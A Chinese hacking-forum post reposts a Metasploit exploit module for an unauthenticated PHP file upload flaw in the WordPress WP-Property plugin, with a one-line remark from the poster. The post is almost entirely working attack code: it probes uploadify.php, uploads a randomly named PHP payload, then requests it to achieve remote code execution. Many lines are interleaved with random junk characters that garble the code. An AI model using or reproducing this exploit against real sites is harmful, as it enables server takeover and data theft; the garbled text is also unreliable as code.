找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2172|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞9 [# B  p+ V8 F- c7 I/ p5 D

7 h# x) m* j* [9 A$ ^ ## # This file is part of the Metasploit Framework and may be subject to
# H$ C/ n2 d7 P1 o' x0 G* m$ \6 z. A
# redistribution and commercial restrictions. Please see the Metasploit% T/ y% Z4 e+ x! x$ U8 y: l; X
1 o+ L" |7 z- O  M
# Framework web site for more information on licensing and terms of use.
1 }: t8 B  W; a# N. m- u# ?; O0 G
, l4 ~. S8 q7 T- X* G& k$ y0 v1 j#   http://metasploit.com/framework/ ##/ a9 [' v5 F% J3 S5 R( H
0 w4 K' L/ F+ D1 \

1 g! N' g; L2 N2 ?; _2 R. h8 z+ J+ s# i
: z/ ]- {$ {) H5 W5 W1 `
5 Z- [& t; W* K2 d
require 'msf/core'" U, x, [* g& l% r4 c3 `6 a
require 'msf/core/exploit/php_exe'
; i9 o1 W; x- l6 L0 @/ V2 h% L" |  l- G5 M
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',+ b/ O+ E. W: v* h" S- g
'Description'    => %q{
# L- D% M2 k: Y# E! h; @+ TThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
; k7 H' h- ~+ F& z7 q5 [( j2 D[
$ s8 t( w8 B1 R. J1 ]! {4 @) _'Sammy FORGIT', # initial discovery7 _* C8 z) b! |. L7 O
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
+ O" `+ Y& y. X0 s3 b# ~( ]],
2 A& ^' j4 L4 q6 [  _'License'        => MSF_LICENSE,: V/ A2 g; Z7 F' A; D& c; t/ _
'References'     =>
8 D  [# W4 f) d; {( l) k' f[
4 C& X" S2 r  C# P: C( [( x, n4 m[ 'OSVDB', '82656' ]," z) S' ^, `) @7 S5 l. g
[ 'BID', '53787' ],! N- y- g' g! `5 x  B7 z6 F* L
[ 'EDB', '18987'],- Z6 T: p7 O1 T- f9 [7 x7 u
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]! h7 l: m) [, K9 N0 I1 F( z4 [
],
" M( T: S% S- M3 Q9 L+ ?'Payload'        =>" W0 e5 F2 C. {, l# [
{
3 ~0 H# Y; z% K# M* ]9 A'BadChars' => "\x00",
9 f9 ]- ]- I8 M( Y9 c/ O0 B4 c},
5 q0 d4 p* M5 q'Platform'       => 'php',0 p; ?, I) C" j
'Arch'           => ARCH_PHP,: I( s- o* f; }, l5 W, S9 _
'Targets'        =>: ]; y+ X7 o7 G1 Z1 P/ w3 ]
[$ N7 C* f  d+ }3 U
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
8 E# r5 N0 l4 d6 R2 P0 h" q[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  Q; d" M+ o6 e$ V8 F2 V
],. ~' w5 z! w; h. T0 j* F5 b# j
'DefaultTarget'  => 0,
8 F% F. d, d, k9 x1 i( w! m$ `'DisclosureDate' => 'Mar 26 2012'))
- o+ E: u8 `. N+ a0 \8 t: S% u* C3 y4 s, i' L* j/ g$ s
register_options(; s7 Z' p2 ^) U- t7 J: Q' Y6 b
[
+ g! D* T3 d* c$ fOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
3 }; q- o5 v$ I( k( f7 G  [4 @], self.class)0 O$ y% N  f/ U$ Y( J$ P6 }! Q
end
& u5 E4 c. W6 m8 K/ l. [, U1 `9 O" J( t7 R% I% p6 r  K
def check
( U- c. a/ M7 j' P- }# u$ zuri =  target_uri.path6 T, J( l8 q% ~0 k! J' X# D; q
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
; {# [. \" E# i/ q'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
8 }4 H' k# s0 {1 Z1 D})% @1 X' n& C; u% \' V2 k

  j+ d( K  I4 Nif not res or res.code != 200
# `  K% W9 [/ L4 J4 ~return Exploit::CheckCode::Unknown
' m  P1 ]3 B1 [: i/ F0 J2 uend
# [% p4 Z; U6 J) {' D& _" T' R) m) L" H6 ~/ K# [1 D
return Exploit::CheckCode::Appears* A6 [8 N/ G& L* ~4 d
end
4 V# ]& C1 t1 q5 r" Q" y1 y
. A. q# \2 K  o5 M, Bdef exploit
& ]( j6 o) _( a. turi =  target_uri.path
/ ?% O$ |& A6 @# x" Q& ~/ N; Quri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)6 n4 @' W1 F0 _. Z# t: [) F/ U

8 T; b5 q0 o, i. Vdata = Rex::MIME::Message.new
. Q/ W; u2 {, H  u! kdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")8 u0 S' a6 ]& d% G
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
6 l' ]8 s% u/ t+ r# Jpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'); n/ v) q& j# o: S+ L6 s

! g! o) @+ U! ?& ~' c9 e7 Sprint_status("#{peer} - Uploading payload #{@payload_name}")
) Z' R' q  u( a$ pres = send_request_cgi({
+ b# D4 ?) b) w7 T. _$ Z8 }( b% v'method' => 'POST',
! n3 G( R3 K. |' U0 ^1 A+ P'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",$ g& Q* s, B$ X* y* l0 b- \
'ctype'  => "multipart/form-data; boundary=#{data.bound}",5 e6 F1 {6 n% b0 G# d1 w/ h
'data'   => post_data
' g" }3 j3 v8 {3 K- ~. ^6 d})
8 O0 S; P# {) n% U) G
2 x# m+ Q( ^& d5 xif not res or res.code != 200 or res.body !~ /#{@payload_name}/
3 s( V. H( J9 Xfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")" p7 d, Q! l* ?7 S% p
end9 j1 x$ m4 `( D5 Q( ?
/ t6 A" i$ Y9 a
upload_uri = res.body. t4 f$ n' P6 Q" B+ o+ X5 t# j
# d9 \! m2 H3 ]* O# [
print_status("#{peer} - Executing payload #{@payload_name}")( S( s1 N2 g( x* i, d  f& h( E
res = send_request_raw({2 c/ u3 ^/ D% K3 Z* z: _0 l
'uri'    => upload_uri,2 H8 k7 P. ]  X  h! z: o3 d
'method' => 'GET'
- k+ I% \% ~# U; h! w" i8 z5 e})
9 n6 m' C+ l7 f! ^0 ~3 _1 n' \9 Aend
& S, W* g7 ]1 w& r( Gend
( \0 M$ O# I& W+ |2 G6 }6 I: @* c& O* R* e+ H- w7 T; l5 K# P7 c9 `
不要问我这写的是什么 怎么利用 我是说msf.
# F; q( x3 w$ z2 _2 ]) ]& j; W' M0 k4 X. u: k: U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表